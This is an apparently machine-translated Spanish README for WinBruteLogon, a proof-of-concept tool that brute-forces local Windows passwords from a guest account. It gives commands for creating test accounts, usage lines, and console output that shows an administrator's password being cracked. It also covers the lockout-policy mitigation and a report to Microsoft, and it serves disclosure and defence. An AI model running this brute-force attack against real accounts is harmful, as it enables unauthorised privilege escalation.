Aviso 1: Estamos emocionados de anunciar que nuestra herramienta actual se ha portado a una versión de PowerShell. Esto significa que los usuarios ahora pueden acceder y usar la herramienta directamente desde la línea de comandos de PowerShell, por lo que es aún más conveniente y eficiente de usar. Creemos que esta nueva versión beneficiará enormemente a nuestros usuarios y mejorará su experiencia con la herramienta. Gracias por su continuo apoyo y esperamos que disfrute de la nueva versión de PowerShell: https://github.com/darkcodersc/power-braste-logon
Aviso 2: Recientemente hemos aprendido que Microsoft ha habilitado la política de bloqueo de la cuenta de forma predeterminada en versiones modernas y actualizadas de Windows. Esta política ayuda a asegurar el sistema bloqueando una cuenta después de un cierto número de intentos de inicio de sesión fallidos. Si bien esta es una medida de seguridad beneficiosa, hace que la prueba de concepto (POC) sea ineficiente en estos sistemas.
Fecha de lanzamiento: 2020-05-14
Objetivo: Windows XP a la última versión de Windows 10 (1909)
Ubicación de debilidad: LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon está diseñado para simular un ataque de fuerza bruta en una cuenta de Microsoft al adivinar grandes cantidades de combinaciones de contraseñas en poco tiempo. Esto permite a los pentesteros probar la postura de seguridad de sus sistemas y evaluar sus defensas contra los ataques de fuerza bruta. La herramienta explota la falta de un mecanismo de bloqueo de cuenta, que es una debilidad común en muchos sistemas (antes de que el bloqueo de la cuenta se habilite de forma predeterminada en Windows 11). Al intentar adivinar la contraseña de una cuenta, la herramienta puede ayudar a los pentesteros a identificar y abordar las vulnerabilidades en sus medidas de seguridad. Debe usarse de manera responsable y dentro de los límites de la ley.
Para esta demostración, configuraremos una versión nueva de Windows 10 en una máquina virtual o física. Una vez que la máquina está configurada, inicie sesión como administrador. A continuación, cree dos cuentas locales diferentes: una cuenta de administrador y una cuenta de usuario regular. Tenga en cuenta que aunque utilizaremos la cuenta de invitado para la demostración, esta prueba de concepto (POC) no se limita a la cuenta de invitado. Se puede usar desde cualquier cuenta o grupo, incluidos invitados, usuario regular y usuario administrador.
net user darkcodersc /add
net user darkcodersc trousers (los pantalones son la contraseña)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (OZLQ6QWM es la contraseña)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
En mi caso, tanto trousers como ozlq6qwm están en la cebada: https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt
Para comenzar la demostración, inicie sesión desde la cuenta del administrador o reinicie la máquina e inicie sesión en la cuenta de invitado. Luego, coloque el ejecutable de POC en una ubicación donde tenga acceso como usuario invitado.
Uso: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v es opcional, diseña el modo detallado.
De forma predeterminada, el nombre de dominio es el valor designado por %USERDOMAIN% env var. Puede especificar un nombre personalizado con la opción -d
darkcodersc (Administrador) indicador (invitado)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Espere unos segundos para ver el siguiente resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (usuario regular) indicador (invitado)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Espere unos segundos para ver el siguiente resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"En un escenario del mundo real, si un atacante obtiene acceso a una cuenta de usuario de bajo privilegiado, puede descifrar la contraseña de un usuario más privilegiado y aumentar sus privilegios. Para mitigar este riesgo, hay algunos pasos que se pueden tomar:
Para implementar una política de bloqueo de seguridad (que no está habilitada de forma predeterminada), siga estos pasos:
Tenga en cuenta que la política de bloqueo no se aplica a la cuenta de administrador. En este caso, la mejor protección para la cuenta de administrador (si está habilitada) es configurar una contraseña muy compleja.
Un informe que detalla esta debilidad se ha enviado al equipo de seguridad de Microsoft. Deben considerar habilitar la política de bloqueo de la cuenta por defecto ".
(Actualización 2022): el bloqueo de la cuenta finalmente habilitado de forma predeterminada.